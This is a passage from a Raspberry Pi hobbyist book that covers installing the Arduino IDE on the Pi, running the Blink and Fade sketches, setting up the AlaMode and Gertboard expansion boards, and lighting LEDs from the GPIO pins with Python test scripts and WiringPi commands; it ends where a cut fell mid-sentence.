Note: All About Sketch
In Arduino nomenclature, a sketch is nothing more than a script file that constitutes your
program source code. Sketch scripts, which will come up again, in the section “Task:
Install and Configure Arduino IDE on the Raspberry Pi,” later in this chapter, are plain text
files with an .ino extension that are readable in any text editor.
I believe the term sketch is meant to denote the programmer’s ability to quickly and
easily sketch out his or her ideas in code and to be able to test the code immediately on a
connected Arduino device.
Understanding the Arduino Development Workflow
You already know that the Arduino has no operating system of its own. I myself look at the Arduino
as basically a dumb terminal. You can compose a set of instructions on a remote device, and then
upload that script to the Arduino, where the script is stored in flash memory.
Immediately, the Arduino begins executing what’s in the script. Assuming the script is error-free and
the Arduino does not suffer a hardware problem, the device will dutifully perform that work,
theoretically forever.
Even if you press the hardware button to reset the Arduino, the currently loaded sketch continues to
play. Any microcontroller worth its salt is all about reliably performing a single purpose.
The Arduino team created a piece of (surprise!) open source software called Arduino IDE
(http://is.gd/UXSYgL) that you can use to program the Arduino. The software is free and is available
for Windows, OS X, and Linux.
Specifically, Arduino IDE is a Java application and is based on the Processing programming
language. Processing (http://is.gd/c6fUpT) is a C-type, object-oriented programming language that
was created for those in the visual design community to teach the fundamentals of software
development.
The tricky piece with installing the Arduino IDE on the Raspberry Pi is the Java Runtime
Environment (JRE) requirement. Remember what I said earlier in the book about Java’s heaviness
and the Pi’s tendency to choke on Java code? Yeah, that.
We’re going to rely on a splendid installation recipe that was developed by Kevin Osborn of the Bald
Wisdom blog (http://is.gd/7RYaFm). Oh, Kevin is also on the AlaMode development team
(http://is.gd/UvXxMF).
Task: Install and Configure Arduino IDE on the Raspberry Pi
Perform the following actions on your Pi from a shell prompt. This procedure also
assumes that you are using the Raspbian “Wheezy” Linux distribution and not Adafruit’s
Occidentalis or another custom distro.
In this chapter, I use USB and a powered hub to connect the Arduino Uno and my
Raspberry Pi Model B board. A schematic diagram of my setup is shown in Figure 19.4.
FIGURE 19.4 My Arduino-Raspberry Pi physical topology
1. First, make sure that your Pi’s firmware and system software are up-to-date. We
originally covered this subject in Chapter 4, “Installing and Configuring an Operating
System.”
2. Install the Arduino IDE; this step is simplicity itself:
Click here to view code image
sudo apt-get install -y arduino
3. Had Kevin not created a shell script for us, you would have had a dozen or more tedious
configuration steps to undertake to force the Raspberry Pi to recognize the Arduino as a
serial device (recall that the Uno includes an ATmel USB-to-serial chip; the Raspberry
Pi has no such onboard convenience on its end).
If you want to understand all of the steps involved anyway, simply open Kevin’s script
in a text editor and study away!
Click here to view code image
wget https://github.com/wyolum/AlaMode/blob/master/bundles/AlaMode-setup.tar.
gz?raw=true -O AlaMode-setup.tar.gz
tar -xvzf AlaMode-setup.tar.gz
cd AlaMode-setup
4. Note the reference to AlaMode. Kevin wrote this script with a dual-purpose in mind;
namely, to configure the Pi to communicate both with the official Arduino Uno as well as
the third-party AlaMode shield. I get to the AlaMode later; for now, run the setup script:
sudo ./setup
5. Once setup completes, you can reboot the Pi, or you can simply run the following
command to initialize the system:
sudo udevadm trigger
6. To start the Arduino IDE, you need to be in a graphical environment, so make sure you
fire up LXDE.
7. You will find an Arduino IDE shortcut in the Programming folder in the LXDE programs
launcher, or you can run the following simple command from LXTerminal:
arduino
After a few moments, you should see the Arduino IDE interface as shown in Figure
19.5.
FIGURE 19.5 The Arduino IDE user interface
As you can see in this figure, I annotated the Arduino IDE user interface. Let me take a
moment to teach you the major controls:
1: Menu system. Here you can find all the Arduino IDE commands nested in categories.
2: Verify. Here you can validate the syntax of your sketch.
3: Upload. Here you can transfer the current sketch to the Arduino’s flash memory.
4: New, Open, and Save, respectively. These buttons represent typical file management
commands.
5: Sketch area. This is where you compose your Arduino source code.
6: Status area. This is where you receive feedback from the Arduino IDE with regard to
code validation, compilation, and transfer.
7: Device information. This verifies that the Uno is linked, and reveals the serial port to
which the Uno is connected.
Note: What Programming Language Does the Arduino IDE Use?
It’s actually rather confusing to determine exactly what programming language you’re
using when you write sketches using the Arduino IDE. According to the Arduino website,
the Arduino IDE employs its own open source programming language called, reasonably
enough, the Arduino programming language.
Syntactically and functionally, the Arduino programming language is a simplified
version of C/C++ and actually uses the avr-gcc C compiler. While we are on the subject,
you might want to check out Simon Monk’s on-the-money book Programming Arduino:
Getting Started with Sketches (http://is.gd/tdnYTw) if you’re looking for guided, end-to-
end instruction on using the Arduino programming language.
Before you load up and run your first sample sketch, let’s take a moment to ensure that Arduino IDE is
properly configured. First, point your mouse to the menu bar and click Tools, Board and make sure
that IDE is set to Arduino Uno.
Second, click Tools, Serial Port and ensure that IDE is set to /dev/ttyACM0. Incidentally, ACM
stands for abstract control model and refers to the ability to transmit old school serial data over the
newer-school USB bus.
Task: Running the “Blink” Sample Sketch
The Arduino IDE includes a library of starter sketches. In the same way that “Hello
world” is the first program many of us write when we learn a new language, the Blink
sample sketch is by far the most popular sketch to try initially with the Arduino.
Before undertaking this task, ensure that your Raspberry Pi and Arduino are both
powered on and connected.
1. In Arduino IDE, click File, Examples, 1. Basics, Blink. This loads the sketch into the
IDE (see Figure 19.6).
FIGURE 19.6 Testing out the Blink test sketch. Note that I’ve added an extra LED (you’ll
learn how to do that, too).
2. Click the Upload button or click File, Upload Using Programmer to send the sketch to
your Uno. The status bar reads Compiling sketch, Uploading, and then Done uploading
when the transfer is complete.
Look at the surface-mounted LED marked L on the Uno board. Do you see it blinking once per
second?
As shown here, you can put some more light on the subject by plugging a standalone LED into digital
output pins 13 and ground. Before you do this, however, make sure you insert the longer leg (positive,
or anode) into pin 13, and insert the LED’s shorter leg (negative, or cathode) into the GND pin.
Electrical current always flows from the anode to the cathode. The anode leg is made longer than the
shorter simply as an easy way for us to determine which LED leg is which.
Because the surface-mount LED is also wired to pin 13, you should see both LEDs flash in unison.
You can learn a lot, exert control over the Arduino, as well as have some fun by analyzing the Blink
sketch code line-by-line. Here’s the full code from the Blink test file; we’ll then analyze each major
statement:
Click here to view code image
/*
Blink
Turns on an LED on for one second, then off for one second, repeatedly.
This example code is in the public domain.
*/
// Pin 13 has an LED connected on most Arduino boards.
// give it a name:
int led = 13;
// the setup routine runs once when you press reset:
void setup() {
// initialize the digital pin as an output.
pinMode(led, OUTPUT);
}
// the loop routine runs over and over again forever:
void loop() {
digitalWrite(led, HIGH); // turn the LED on (HIGH is the voltage level)
delay(1000); // wait for a second
digitalWrite(led, LOW); // turn the LED off by making the voltage LOW
delay(1000); // wait for a second
}
First of all, notice that the sketch includes two functions, setup() and loop(). The setup() procedure
initializes a particular digital pin as a signal output.
How do we know we want pin 13? It’s right here:
int led = 13;
This statement creates a variable named led that can accept only integer (whole number) values.
Furthermore, this line initializes the value of the led variable to 13. The 13 denotes pin #13 on the
Arduino. You can find pin 13 by examining the digital pins on top of the Arduino Uno PCB. (Hint: pin
13 is located immediately to the right of the GND interface.)
pinMode(led, OUTPUT);
The pinMode() function accepts two arguments; first you pass in the variable, which is pin 13, and
OUTPUT marks the pin for outgoing signal/current.
The loop() procedure does exactly what you think it does: it performs whatever actions you specify in
the code block an infinite number of times. As previously stated, an Arduino runs its currently loaded
sketch forever, unless and until you send it a new sketch to run. Singleness of purpose, remember?
digitalWrite(led, HIGH);
The digitalWrite() function puts the target LED in an on state (HIGH) or an off state (LOW). This is
binary data we’re talking about.
delay(1000);
The delay function accepts an integer value in milliseconds. A value of 1000 means that the LED will
stay on for 1 second.
Thus, the blink sketch does nothing more than cycles LED 13 on and off every second...forever. As an
experiment, change the delay value from 1000 to 100 and reupload the sketch to your Uno. You
should see the LED blink much faster.
Note: How to Clear Out Your Arduino
If you want to stop the Blink sketch, or if you want to clear any of the Arduino’s current
actions, start a new, blank sketch file that contains the following lines:
void setup(){};
void loop(){};
Verify the sketch and then upload it to your Uno. I actually saved the sketch on my Pi
and named it Clear for easy reuse.
Fading an LED
In this example with the Arduino Uno you test the use of analog output and PWM to gradually fade an
LED.
Following is an inventory of what you need to have on hand to complete this experiment:
Arduino Uno
Breadboard
220 ohm resistor
LED
You can study Figure 19.7 to learn the wiring schematic for this test.
FIGURE 19.7 Wiring diagram for our Arduino PWM LED test
With respect to that wiring diagram, please take into account the following notes:
The (+) power rail is for incoming power.
The (-) power rail is for outgoing power (ground).
The Uno board in my schematic is from an earlier PCB release. As long as you choose a digital
output pin labeled “PWM” or “~” you are good to go.
Task: Running the Fade Sketch
You now know the basics of uploading and running Arduino sketches, so this second
example procedure should feel more natural for you to undertake.
1. When your wiring is complete, fire up Arduino IDE and click File, Examples, 1. Basics,
Fade.
2. Go ahead and upload the sketch. While you do so, keep an eye on the TX and RX
surface-mounted LEDs on the Uno PCB. You’ll notice them flash a bit as the Ardunio
sends and receives data, respectively.
3. The end result of this test is you see your LED move gradually from full intensity to off
and then back again, giving the illusion of a fading effect.
4. To learn what’s going on under the hood, you can again examine the Fade sketch source
code.
int led = 9;
int brightness = 0;
int fadeAmount = 5;
This code defines three variables. The led variable denotes PWM pin number 9. The
initial bulb brightness (PWM value) is set to 0, which equals off. The fadeAmount variable
controls how granular or choppy the fade effect is, as you see in a moment.
The setup() procedure simply specifies pin #9 as output, as you saw in the previous
exercise. The loop() procedure is much more interesting here, though.
analogWrite(led, brightness);
The analogWrite() function sets the brightness of pin 9 to its current value, which we
already know is 0.
Click here to view code image
brightness = brightness + fadeAmount;
Here you increment the brightness value by the fadeAmount value. You can tweak the
script by adjusting either of these variables.
Click here to view code image
if (brightness == 0 || brightness == 255)
{fadeAmount = -fadeAmount ; }
The previous expression, when stated in human terms, says, “If the LED brightness
reaches either the maximum brightness of 255 or minimum brightness of 0, then reverse the
direction of fadeAmount.”
In other words, while the LED increases its brightness from 1 to 254, the fadeAmount
value is positive.
When the brightness value hits 255, however, the fadeAmount maintains its value, but
reverses its direction, thus becoming negative. This is what allows the LED to “fade” from
full brightness down to off. Get it?
Using the AlaMode
Now that you have gotten to know an official Arduino board to a good degree of depth, let’s close out
this chapter by looking briefly at one of the most popular Arduino clones, at least from the
perspective of a Raspberry Pi enthusiast.
The AlaMode (http://is.gd/mm0Kfd) is an Arduino clone/shield that fits directly on top of the
Raspberry Pi’s GPIO header pins. I show you an annotated close-up of the AlaMode in Figure 19.8.
FIGURE 19.8 The AlaMode perfectly fits the Pi’s GPIO header pins.
1: GPIO
2: Reset button
3. “Blink” LED
4: Digital I/O pins
5: Micro SD card slot
6: Power source jumper
7: Micro USB power input
8: ATmega microcontroller
9: Power pins
10: Analog input pins (unpopulated)
The AlaMode includes an impressive array of features besides its ease of connectivity to the
Raspberry Pi:
DS3234 Real Time Clock: Neither the Raspberry Pi nor the Arduino Uno has a battery-backed
RTC. This is an excellent feature because you may want to run tasks that require precise timing
and the Pi does not include a real-time clock “out of the box.”
Micro-SD Card Slot: You can perform data logging without having to access a network.
Again, this is a tremendous convenience for certain projects.
Power Flexibility: You can power the AlaMode directly from the Raspberry Pi through the
GPIO, or you can plug in a wall wart or connect a traditionally DC battery.
The AlaMode’s microprocessor is the same ATmega328P that you have on the Uno. AlaMode
connects to the Pi as an I2C slave device and performs 5V-3.3V buffering. The AlaMode also
includes a general-purpose blink LED on pin 13, just like the Arduino.
You can purchase the AlaMode through several channels; here are a couple:
Maker Shed: http://is.gd/6eMMnC
Seeed Studio: http://is.gd/fFFDnQ
Be sure to snag a copy of the user manual, too: http://is.gd/2bniUh.
Task: Getting the AlaMode Up and Running
You would have been surprised, had you not read this book, that the AlaMode ships
without I/O headers installed. This means you need to solder them into the AlaMode
yourself to gain the PCB’s full functionality.
Unfortunately, soldering deserves a chapter unto itself. As a consolation, here are some
top-notch resources that I picked for you that will teach you everything you need to know
(actually, soldering the headers to the AlaMode is a 15-minute procedure; it truly is no big
deal):
Make Video Podcast, Soldering Tutorial: http://is.gd/MALror
Curious Inventor, How to Solder Correctly, and Why (video): http://is.gd/XIcaVx
Electronix Express, Better Soldering: http://is.gd/9FYfXL
Soldering is Easy Comic Book: http://is.gd/aNcuNQWith regard to the software
configuration, as long as you’ve performed the steps given in the earlier procedure “Task:
Install and Configure Arduino IDE on the Raspberry Pi,” you’ve completed most of the
work.
Let’s sweep up the shavings together now:
1. Power off your Raspberry Pi.
2. If you want to power the RTC, insert a CR1632 battery into the associated clip on the
AlaMode.
3. Gently push the AlaMode onto the Raspberry Pi’s GPIO pins. Make sure to line up the Pi
GPIO with the AlaMode in the correct orientation; you can see the Pi-AlaMode sandwich
(as well as some unsoldered headers) in Figure 19.9.
FIGURE 19.9 The Raspberry Pi, the AlaMode, and an unsoldered I/O header
4. Now about power. You can configure the AlaMode to receive its power directly from
the Pi’s GPIO header (assuming the Pi receives at least 1A of current on its own) or from
a wall wart power supply.
In this tutorial, let’s power the AlaMode directly from the Pi. To do this, you must first
set the 5V_Link jumper to ON as shown in Figure 19.10.
FIGURE 19.10 The AlaMode’s 5V_Link jumper is set by default to receive power through
the Raspberry Pi GPIO.
The good news is that the AlaMode ships with the jumper set this way by default, so
this is a verification step rather than a configuration step. By contrast, if you want to use an
external power supply, you must move the jumper so that it covers the other pin, setting the
switch to OFF.
Other than that, you can load up Arduino IDE on the Raspberry Pi and send sketches to
the AlaMode in the very same way you did with the Arduino Uno.
5. In Arduino IDE, click Tools, Board and select AlaMode. Finally, click Tools, Serial
Port and ensure that port /dev/ttyS0 is selected. Happy experimenting!
Chapter 20. Raspberry Pi and the Gertboard
Fans of the Gertboard claim that the device is the ultimate expansion board for the Raspberry Pi.
Having spent quite a bit of time with the Gertboard, I can tell you that there is indeed substance to that
claim.
Gert van Loo (pronounced van LOW) is a Broadcom engineer who also happens to be one of the
principal designers of the Raspberry Pi. As I’m sure you can correctly guess, Gert also invented the
Gertboard.
Formally defined, the Gertboard is an expansion board, also called a daughterboard, that connects to
the Raspberry Pi GPIO headers and gives you instant access to a tremendous variety of input/output
options.
You can look at the Gertboard as an activity center or toybox with which you can experiment with
motors, switches, buttons, and even an onboard Arduino microcontroller.
Basically, the Gertboard extends the Raspberry Pi to the real world, allowing you to sense
temperatures, detect sounds, drive motors, and so forth.
Take a look at Figure 20.1 and the following descriptions for a tour of the PCB’s major components.
FIGURE 20.1 The Gertboard is a multipurpose expansion board for the Raspberry Pi.
1: 12 LEDs
2: 3 momentary button switches
3: Motor controller
4: 6 open collector driver inputs
5: GPIO
6: Atmel ATmega chip
7: 10-bit Analog-to-Digital and 8-bit Digital-to-Analog converters
The L6203 motor controller drives brushed DC physical motors, including servos and steppers.
The ULN2803a open collector drivers enable you to turn devices on and off, especially those that use
a different voltage than the Gertboard itself or those that use more current than the Gertboard can
supply.
The Atmel ATmega 328P AVR microcontroller gives you built-in Arduino prototyping capability.
One important note about this on-board Arduino chip is that it runs at 3.3V instead of the standard 5V
Arduino voltage.
The MCP4801 Analog-to-Digital (A2D) and MCP3002 Digital-to-Analog (D2A) converters, a
you’d expect, enable you to process both analog as well as digital audio signals. This hardware is
especially useful if you want to, for instance, detect an input volume for an alarm system.
You learn more about the LEDs, button switches, and GPIO pins momentarily. In the meantime, you
are probably wondering where you can purchase a Gertboard.
Originally, the Gertboard was sold in an unassembled state that required soldering. Fortunately,
Farnell/Element 14 now sells an assembled model that is ready to rumble for $49 USD, as of this
writing. Go purchase a Gertboard at http://is.gd/mnQiHJ.
The assembled Gertboard is called “revision 2” and is physically much different (and improved)
from revision 1. For instance, the revision 1 didn’t have an Arduino-compatible Atmel controller, and
the board was much more cluttered than the revision 2 model.
Gert himself posted an excellent walkthrough of the Gertboard revision 2 changes in a video on his
YouTube channel at http://is.gd/ArQfMK.
Anatomy of the GPIO
The Raspberry Pi General Purpose Input/Output (GPIO) is a 26-pin expansion header that is marked
on the PCB as P1 and employs a 2x13 copper pin strip. I provide the GPIO pinout in Figure 20.2.
FIGURE 20.2 The Raspberry Pi GPIO pinout
The pins that you see here are arranged into four basic functionality groups:
2 +3.3V voltage pins
2 +5V voltage pins
2 +5V voltage pins
5 Ground pins
17 GPIO pins (access to I2C, SPI, and UART)
Raspberry Pi PCBs fabricated after September 2012 are called “revision 2” boards. As it happens,
the Foundation changed the function of three GPIO pins between revision 1 and revision 2; for more
information, read the article at the Embedded Linux Wiki (http://is.gd/CNl2JC).
The bottom line, friends, is that unless you’re using Ethernet, the GPIO represents the only way to
interface your Raspberry Pi with other device hardware. The GPIO header pins are amazingly
flexible; they can be reprogrammed to support input or output, and they can be selectively enabled or
disabled.
One important note that I’ve mentioned before that bears repeating: although the GPIO has two 5V
pins, the GPIO voltage levels are tolerant only of 3.3V signals, and there is not built-in overvoltage
protection on the Raspberry Pi. Consequently, if you are not careful you can fry your Pi.
The 5V pins at P1-02 and P1-04 on the Model B board support a maximum current draw of 300mA.
The official name for the Raspberry Pi GPIO is “The GPIO Connector (P1).” Individual pins on th
GPIO header are referred to with the P1 prefix; for instance, P1-01, and so forth.
Okay—enough background information. Let’s connect the Gertboard to your Raspberry Pi and begin
some serious experimentation!
Connecting Your Gertboard and Raspberry Pi
The Gertboard connects to the Raspberry Pi pin-for-pin by using the GPIO headers. You can either
(carefully) mount the Gertboard directly on top of the Pi board, or you can use a 26-pin ribbon cable.
You can see a Gertboard/Raspberry Pi sandwich in Figure 20.3.
FIGURE 20.3 The Gertboard connects to the Raspberry Pi board by using the GPIO header.
It’s important to be careful when you connect the Gertboard and the Raspberry Pi. You need to line up
every male GPIO pin on the Pi with the corresponding female socket on the underside of the
Gertboard. To make this process simpler, you can use the plastic standoffs that ship with the
Gertboard to create a more stable surface for the board.
If you want to use a GPIO ribbon cable to make the connection, then you need not only the cable
(https://www.modmypi.com/gpio-accessories/ribbon-cables-and-connectors/raspberry-pi-GPIO-
assembled-rainbow-ribbon-cable-and-connectors),
but
also
a
female-to-male
converter
(https://www.modmypi.com/gpio-accessories/gpio-header-extenders/26-Pin-GPIO-Shrouded-Box-
Header).
Note: On Jumpers and Gender
With jumper wires, or any connection cable for that matter, the male end of one wire or
cable inserts into the female (recessed) end of another wire or cable. As you might surmise,
this gender-related nomenclature is intimately associated with human reproduction.
Now about power. As long as your Raspberry Pi power supply can give at least 1A, you can power
the Gertboard directly from the Pi. The incoming power from the Pi operates at 5V, and the Gertboard
uses either 5V or 3.3V depending on which components you use.
In practice, we make connections within the Gertboard and between the Gertboard and the Raspbery
Pi by using the straps and jumpers included in the assembled Gertboard kit.
The female-to-female straps enable you to connect pins located in different locations on a board or
between boards. By contrast, shunt-type jumpers connect immediately adjacent pins. I show you what
these connectors look like in Figure 20.4.
FIGURE 20.4 Traditional shunt-type jumpers along with several types of jumper wire straps
(male-to-female, female-to-female, and male-to-male)
Now I’m about to save you a lot of troubleshooting time: Make sure to place a jumper on the two J7
header pins, as shown in Figure 20.5.
FIGURE 20.5 You can add 3.3V of power to the Gertboard components by adding a jumper to
the two pins of header J7. The J7 header has three pins, and the jumper covers the top two when the
Gertboard is viewed “right-side up.”
By adding this jumper to the Gertboard, you allow 3.3V of power to flow to all of the Gertboard’s
components.
Installing the Testing Software
Gert wrote a suite of small C programs that test various Gertboard components. However, we’ve
focused on Python in this book, and I’ll continue that here by using the Python Gertboard code
modules.
Note: For You C Programmers
To be honest, Gert’s C test suite accesses the Gertboard hardware more directly than
does the Python test suite. If you want to download the C code, feel free to do so at
http://is.gd/PuS9FU.
The Python test suite was created by Alex Eames of Raspi.TV. Alex wrote the software in Python 2.7,
but you’ll recall that Raspbian includes both Python 2 as well as Python 3.
To access Alex’s code in its entirety, you need to have the RPi.GPIO and WiringPi libraries
installed. Raspbian, as of September 2012, includes the RPi.GPIO library by default, but you need to
install WiringPi (http://wiringpi.com/) yourself. Take a moment and run the following commands
from a shell prompt on your Raspberry Pi:
Click here to view code image
sudo apt-get update && sudo apt-get upgrade
sudo apt-get install python-dev python-pip
sudo pip install wiringpi
Note: GPIO Libraries
The RPi.GPIO and WiringPi libraries both perform the same actions; namely, allowing
programmatic access to the Raspberry Pi GPIO header. Alex Eames wrote versions of his
Python Gertboard test suite to accommodate both libraries because neither library offers a
fully complete set of capabilities. You can read a nice discussion of RPi.GPIO versus
WiringPi at the Raspberry Pi forums at http://is.gd/SGAFNp and http://is.gd/wJ1qfb.
Task: Enabling SPI on Your Raspberry Pi
Some of the scripts, notably atod.py, dtoa.py, and dad.py, require that you enable Serial
Peripheral Interface (SPI) on your Pi. You can take care of that prerequisite by performing
the following steps from a shell prompt on your Raspberry Pi (the Gertboard does not have
to be connected at this point although there is no harm done if it is:
1. Open the raspi-blacklist.conf file.
Click here to view code image
sudo nano /etc/modprobe.d/raspi-blacklist.conf
2. Comment out the following line in the configuration file with a # such that it appears like
this:
#blacklist spi-bcm2708
Performing this action prevents SPI from being disabled on your Raspberry Pi.
3. Save your work, close the file, and reboot:
sudo reboot
4. After the reboot, install Git and the Python SPI wrapper:
Click here to view code image
sudo apt-get install git
git clone git://github.com/doceme/py-spidev
cd py-spidev
sudo python setup.py install
Although the previous procedure was a bit tedious, the joy that you’ll receive in accessing the
Gertboard’s D-to-A and A-to-D converters should make your effort worthwhile.
Now let’s turn our attention to loading the Python Gertboard test suite.
Task: Installing the Python Gertboard Test Suite
Perform the following steps from a shell prompt on your Raspberry Pi:
1. Get the library from Raspi.tv, unpack the ZIP file, and navigate into the extracted folder:
Click here to view code image
cd
wget http://raspi.tv/download/GB_Python.zip
unzip GB_Python.zip
cd GB_Python
2. Run a directory listing to view the listing of Python scripts and then check out the
informative README text file:
ls -l *.py
nano README.txt
3. Now that the scripts are unpacked, you can run any of them by invoking sudo privileges
and the Python 2 interpreter. For instance, try out the RPi.GPIO-based LED testing script:
sudo python leds-rg.py
The script given here won’t do anything yet because you have to wire up the Gertboard
appropriately. We get to that in just a moment.
You can see that Alex wrote two versions of each script file. The -rg file name
designation denotes the RPi.GPIO library, while the -wp suffix represents the WiringPi
library. Here is a brief rundown of each script’s purpose; note that I removed the -rg and -
wp suffixes and added a generic xx placeholder to the script names for clarity:
atod.py: Tests the analog-to-digital converter
butled-xx.py: Tests the button switches and LEDs
buttons-xx.py: Tests the button switches
dad.py: Tests both analog-to-digital and digital-to-analog
dtoa.py: Tests the digital-to-analog converter
leds-xx.py: Tests the LED switches
motor-xx.py: Tests the motor
ocol-xx.py: Tests the relay switches
potmot.py: Tests the analog-to-digital switch and the motor
Testing the LEDs
Your first test lights up the light emitting diode (LED) panel on the Gertboard. You can use either the
leds-rg.py or the leds-wp.py script in this case; the RPi-GPIO and WiringPi libraries can both handle
this exercise with no problem.
If you examine the source of the leds-rg.py script, you see that Alex documented it pretty well,
including giving abbreviated directions for how to wire up the Gertboard. Check out the first few
lines:
Click here to view code image
pi@raspberrypi ~/GB_Python $ sudo python leds-rg.py
These are the connections for the Gertboard LEDs test:
jumpers in every out location (U3-out-B1, U3-out-B2, etc)
GP25 in J2 --- B1 in J3
GP24 in J2 --- B2 in J3
GP23 in J2 --- B3 in J3
GP22 in J2 --- B4 in J3
GP21 in J2 --- B5 in J3
GP18 in J2 --- B6 in J3
GP17 in J2 --- B7 in J3
GP11 in J2 --- B8 in J3
GP10 in J2 --- B9 in J3
GP9 in J2 --- B10 in J3
GP8 in J2 --- B11 in J3
GP7 in J2 --- B12 in J3
(If you don’t have enough straps and jumpers you can install
just a few of them, then run again later with the next batch.)
When ready hit enter.
In this documentation, the Bs and GPs refer to marked locations on the Gertboard. Don’t worry—Gert
himself provides excellent board diagrams that show exactly where you should put the jumpers and
straps for each of the tests in his suite.
To view the wiring diagram for this test (and for all the other tests, for that matter), download and
view the Gertboard user manual at http://is.gd/dOWlUd. To save you the download, you can see the
wiring schematic in Figure 20.6 as well.
FIGURE 20.6 The wiring diagram for Gertboard LED test
Figure 20.7 shows you what my lab setup looks like while the test is running.
FIGURE 20.7 My Gertboard/Raspberry Pi setup for the LED test. I hooked up only the first six
LEDs.
You need to use sudo when you run the script, and remember that these scripts were written in Python
2, so make sure you invoke the Python interpreter instead of python3.
When you run the script, observe that the Gertboard’s LEDs flash in three discrete patterns. Don’t
worry if you don’t have enough straps and jumpers to wire all 12 of the LEDs; hook up as many or as
few as you want, and the script will ignore any unconnected LEDs.
Note: Power On or Power Off?
I’m sure you’re wondering, “Do I need to unplug the Raspberry Pi every time I adjust a
strap or jumper on the Gertboard?” Although the politically correct answer is yes, I have
experienced no strange behavior, nor have I damaged either the Gertboard or the Raspberry
Pi by moving from test to test while keeping both boards powered up and online.
To customize the behavior of the LED flashes, open the script in nano or your favorite text editor and
play around with the led_drive() function; this is the primary “engine” of the script.
Specifically, the reps parameter defines how many times to run the test. The multiple parameter
specifies whether or not to switch off an LED before proceeding to the next one. Finally, the direction
parameter defines, well, the directionality of the LED actions, either left-to-right or right-to-left.
Thus, to run the test 10 times in the reverse direction, change the led_drive definition to match the
following:
led_drive(10, 0, ports_rev)
Testing Input/Output
The LED test that we just finished tested only the Gertboard’s ability to render output. By contrast, the
button/LED test enables you to send the output of a button press to a particular LED as input.
For this test, use the butled-rg.py script because, as of this writing, the test works only with the
RPi.GPIO libraries. The file name here is illustrative; it stands for but(ton) and, of course, LED.
The wiring for this test is more straightforward than for the LED test (by which I mean the test
requires fewer straps and shunt jumpers). You can view the schematic in Figure 20.8.
FIGURE 20.8 The wiring diagram for Gertboard Input/Output test
Run the test by issuing the command
sudo python butled-rg.py
You see output on your screen as you press the S3 button on the Gertboard, and you also see the
BUF6 LED respond to each button press. The screen output cycles between binary 11 (button not
pressed, 3.3V voltage (HIGH state) and binary 00 (button pressed, 0V current, LOW state).
I challenge you to figure out how to activate the other two button switches and link them to two
additional LEDs. Have fun!
A Couple Quick Breadboarding Exercises
In Chapter 3, “A Tour of Raspberry Pi Peripheral Devices,” you learned what a breadboard is and
how important the tool is in prototyping hardware. I wanted to devote a bit of space in this book to
showing you a couple of breadboarding experiments that you can undertake with your Raspberry Pi.
Both experiments execute as simple a task as possible: lighting an LED. However, I want to show you
how you can run the experiment by using a breadboard and the naked Raspberry PI GPIO pins as well
as how you can do the same thing with the Adafruit Pi Cobbler that I told you about in Chapter 3.
Accessing the GPIO Pins Directly
Let’s begin by looking at a shopping list of parts that you need to complete this introductory
prototyping experiment:
1 standard breadboard
1 LED
1 resistor in the 270–330 ohm range
2 male-to-female jumper straps
You can find all of these parts at your local RadioShack or electronics shop. Alternatively, I’ve
gotten a lot of mileage out of electronics prototyping kits. To that point, here are some suggestions
I’ve found useful:
Sparkfun RedBoard Breadboard Kit (http://is.gd/FbYgZ5)
RadioShack Breadboard and Jumper Wire Kit (http://is.gd/XGEBWz)
MakerShed Mintronics Survival Pack (http://is.gd/UMcR9O)
Note: Sometimes “Dish” Is Not Related to Gossip
Adafruit sells the wonderful Pi Dish ($22.50, http://is.gd/n4TmjO) that enables you to
secure a Raspberry Pi and a standard breadboard in an attractive, clear, and sturdy
package. An accessory like this makes Raspberry Pi breadboarding infinitely cleaner and
easier than dealing with free-floating PCBs, straps, and jumpers.
Task: Lighting an LED Directly from the GPIO
In this procedure, pull current from GPIO pin #1 at 3.3V and feed it through an LED
mounted on the breadboard. The resister is mounted in the same circuit; the higher the
resistance value, the dimmer the light shines. If your resister is too small, you will burn out
the LED bulb. Finally, the resistor bleeds off excess current to the ground rail on the
outside rim of the breadboard.
1. Turn off your Raspberry Pi.
2. Carefully press the resistor and male-to-female jumper straps in place. You can see the
wiring diagram in Figure 20.9.
FIGURE 20.9 The wiring diagram for our first breadboarding experiment
Note: How I Created My Wiring Diagrams
To create these nifty wiring diagrams, I used a wonderful piece of open source
software called Fritzing (http://is.gd/i17V7t). With a few mouse clicks, you can
document your prototypes in an eye-appealing and accurate way. What’s more,
Adafruit publishes a Github repository with Raspberry Pi and Pi Cobbler Fritzing
parts (http://is.gd/ZLCdPk). Great stuff!
3. The LED has a longer leg and a shorter leg. The longer leg is the positive terminal and
goes in the same breadboard row as the 3.3V jumper. The shorter leg is the negative
terminal and goes in the same row as the resistor.
4. Power on the Raspberry Pi. If everything is hooked up correctly, you should see the LED
light up immediately.
Let’s extend this experiment such that you gain control over the illumination state of the LED. To
do this, you again access the WiringPi libraries.
Physically, all you have to do is relocate the female jumper pin currently plugged into GPIO #1
to GPIO pin #11.
With that done, you need to perform a little bit of housekeeping with the WiringPi libraries to
send commands to the Raspberry Pi GPIO pins directly.
Download and then compile the WiringPi executable code:
Click here to view code image
cd
git clone git://git.drogon.net/wiringPi
cd wiringPi
git pull origin
./build
Awesome! Now you can stay in the current directory and issue GPIO commands to your heart’s
content. For instance, try the following:
gpio mode 0 out
gpio write 0 1
gpio write 0 0
You should find that the gpio write 0 1 command turned the LED on and that the gpio write 0 0
line turned the LED off. It’s like you’re turning on a faucet: when you send 3.3V out of
programmable GPIO #11 pin into the LED, the electrical energy is consumed and emitted as
light.
Accessing the GPIO Pins via the Pi Cobbler
The Adafruit Pi Cobbler (http://is.gd/B1U0bq) represents a more elegant way to make the Raspberry
Pi GPIO pins accessible to you and your projects. Instead of wiring individual jumpers from the
GPIO pins to the breadboard, you can break out from the GPIO header directly to the breadboard and
then access GPIO from there.
Adafruit sells the Pi Cobbler either unassembled or assembled; I leave it up to you and your tolerance
for pain (just kidding) in deciding which product to purchase. In addition to the Pi Cobbler breakout
IC, you also get a ribbon cable.
To mount the Pi Cobbler, you first must connect the cable to the Cobbler board itself. Adafruit was
nice enough to add a notch in the 26-pin ribbon cable, so it is impossible to insert the cable into the
Cobbler incorrectly.
You can potentially get into trouble by inserting the other end of the ribbon cable into the Raspberry
Pi GPIO header, though. Locate the colored edge wire of the ribbon cable; this is pin #1 and needs to
be inserted into the GPIO on the side closest to the SD card slot and where P1 is marked on the
Raspberry Pi board.
You also need to take care to insert the Pi Cobbler in the breadboard such that the Cobbler straddles
the bridge or center line. Be sure to press the Cobbler all the way into the breadboard. You can see a
close-up of my installed Pi Cobbler in Figure 20.10.
FIGURE 20.10 The Pi Cobbler is simultaneously connected to the breadboard and the Raspberry
